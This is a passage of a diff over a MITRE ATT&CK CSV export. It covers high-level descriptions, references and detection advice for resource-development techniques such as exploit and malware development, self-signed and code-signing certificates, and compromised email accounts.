'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'}, {'source_name': 'DiginotarCompromise', 'description': 'Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.', 'url': 'https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/'}, {'source_name': 'FireEyeSupplyChain', 'description': 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.', 'url': 'https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop'}, {'source_name': 'Analyzing CS Dec 2020', 'description': 'Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.', 'url': 'https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/'}, {'source_name': 'Splunk Kovar Certificates 2017', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'}, {'source_name': 'Recorded Future Beacon Certificates', 'description': 'Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.', 'url': 'https://www.recordedfuture.com/cobalt-strike-servers/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content', 'Certificate: Certificate Registration', 'Internet Scan: Response Content']",,"Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) + +Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.",False,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:48:15.511Z,2021-04-15T03:07:53.803Z,Exploits,"Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017) As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit. -Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1587/004', external_id='T1587.004'), ExternalReference(source_name='NYTStuxnet', description='William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.', url='https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html'), ExternalReference(source_name='Irongeek Sims BSides 2017', description='Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020.', url='https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims')]",attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:07:53.803000+00:00,Exploits,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 01:42:24.974000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA). +Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1587/004', 'external_id': 'T1587.004'}, {'source_name': 'NYTStuxnet', 'description': 'William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.', 'url': 'https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html'}, {'source_name': 'Irongeek Sims BSides 2017', 'description': 'Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020.', 'url': 'https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--1cec9319-743b-4840-bb65-431547bce82a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:42:24.974Z,2021-10-16T17:32:34.604Z,Digital Certificates,"Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA). -Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). +Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). -After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1587/003', external_id='T1587.003'), ExternalReference(source_name='Splunk Kovar Certificates 2017', description='Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', url='https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html')]",attack-pattern--1cec9319-743b-4840-bb65-431547bce82a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 02:33:38.589000+00:00,Digital Certificates,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) +After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1587/003', 'external_id': 'T1587.003'}, {'source_name': 'Splunk Kovar Certificates 2017', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) -Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",,,,,True,,,,['PRE'],,,,1.1 -2020-10-01 01:41:08.652000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. +Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",True,,['PRE'],1.2,,,,,,, +attack-pattern,attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:41:08.652Z,2021-10-17T16:07:08.549Z,Code Signing Certificates,"Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. -Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1587/002', external_id='T1587.002'), ExternalReference(source_name='Wikipedia Code Signing', description='Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.', url='https://en.wikipedia.org/wiki/Code_signing')]",attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:06:56.855000+00:00,Code Signing Certificates,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 01:33:01.433000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) +Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1587/002', 'external_id': 'T1587.002'}, {'source_name': 'Wikipedia Code Signing', 'description': 'Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.', 'url': 'https://en.wikipedia.org/wiki/Code_signing'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Malware Repository: Malware Metadata'],,"Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:33:01.433Z,2021-10-17T16:05:41.186Z,Malware,"Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. -Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1587/001', external_id='T1587.001'), ExternalReference(source_name='Mandiant APT1', description='Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', url='https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf'), ExternalReference(source_name='Kaspersky Sofacy', description=""Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015."", url='https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/'), ExternalReference(source_name='ActiveMalwareEnergy', description='Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.', url='https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/'), ExternalReference(source_name='FBI Flash FIN7 USB', description='Federal Bureau of Investigation, Cyber Division. (2020, March 26). FIN7 Cyber Actors Targeting US Businesses Through USB Keystroke Injection Attacks. Retrieved October 14, 2020.', url='https://www.losangeles.va.gov/documents/MI-000120-MW.pdf'), ExternalReference(source_name='FireEye APT29', description='FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.', url='https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf')]",attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:08:33.165000+00:00,Malware,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",,,,,True,,,,['PRE'],,,,1.1 -2020-10-01 01:30:00.877000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020) +Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1587/001', 'external_id': 'T1587.001'}, {'source_name': 'Mandiant APT1', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf'}, {'source_name': 'Kaspersky Sofacy', 'description': ""Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015."", 'url': 'https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/'}, {'source_name': 'ActiveMalwareEnergy', 'description': 'Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.', 'url': 'https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/'}, {'source_name': 'FBI Flash FIN7 USB', 'description': 'Federal Bureau of Investigation, Cyber Division. (2020, March 26). FIN7 Cyber Actors Targeting US Businesses Through USB Keystroke Injection Attacks. Retrieved October 14, 2020.', 'url': 'https://www.losangeles.va.gov/documents/MI-000120-MW.pdf'}, {'source_name': 'FireEye APT29', 'description': 'FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.', 'url': 'https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content']",,"Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",True,,['PRE'],1.2,,,,,,, +attack-pattern,attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:30:00.877Z,2021-10-17T16:07:08.768Z,Develop Capabilities,"Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020) + +As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1587', 'external_id': 'T1587'}, {'source_name': 'Mandiant APT1', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf'}, {'source_name': 'Kaspersky Sofacy', 'description': ""Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015."", 'url': 'https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/'}, {'source_name': 'Bitdefender StrongPity June 2020', 'description': 'Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.', 'url': 'https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf'}, {'source_name': 'Talos Promethium June 2020', 'description': 'Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.', 'url': 'https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html'}, {'source_name': 'Splunk Kovar Certificates 2017', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content', 'Internet Scan: Response Content']",,"Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. + +Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) -As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1587', external_id='T1587'), ExternalReference(source_name='Mandiant APT1', description='Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', url='https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf'), ExternalReference(source_name='Kaspersky Sofacy', description=""Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015."", url='https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/'), ExternalReference(source_name='Bitdefender StrongPity June 2020', description='Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.', url='https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf'), ExternalReference(source_name='Talos Promethium June 2020', description='Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.', url='https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html')]",attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:08:33.511000+00:00,Develop Capabilities,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.",,,,,False,,,,['PRE'],,,,1.0 -2020-10-01 01:20:53.104000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)). +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.",False,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:20:53.104Z,2021-04-15T02:57:25.544Z,Email Accounts,"Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)). A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. -Adversaries can use a compromised email account to hijack existing email threads with targets of interest.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1586/002', external_id='T1586.002'), ExternalReference(source_name='AnonHBGary', description='Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', url='https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/')]",attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 02:57:25.544000+00:00,Email Accounts,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 01:18:35.535000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. +Adversaries can use a compromised email account to hijack existing email threads with targets of interest.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1586/002', 'external_id': 'T1586.002'}, {'source_name': 'AnonHBGary', 'description': 'Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', 'url': 'https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: 